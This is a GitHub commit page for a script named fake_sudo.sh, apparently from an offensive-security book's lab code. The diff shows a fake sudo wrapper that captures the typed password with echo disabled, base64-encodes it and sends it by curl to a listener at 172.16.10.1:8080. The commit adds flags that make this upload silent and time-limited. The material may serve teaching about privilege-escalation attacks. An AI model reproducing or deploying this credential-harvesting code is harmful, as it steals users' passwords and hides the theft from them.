Skip to content

Commit

Permalink
add additional curl flags
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Oct 30, 2023
1 parent 7b61e73 commit b6abead
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion ch10/fake_sudo.sh
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ ARGS="$@"
leak_over_http() {
local encoded_password
encoded_password=$(echo "${1}" | base64 | sed s'/[=+/]//'g)
curl "http://172.16.10.1:8080/${encoded_password}"
curl -m 5 -s -o /dev/null "http://172.16.10.1:8080/${encoded_password}"
}

stty -echo
Expand Down

0 comments on commit b6abead

Please sign in to comment.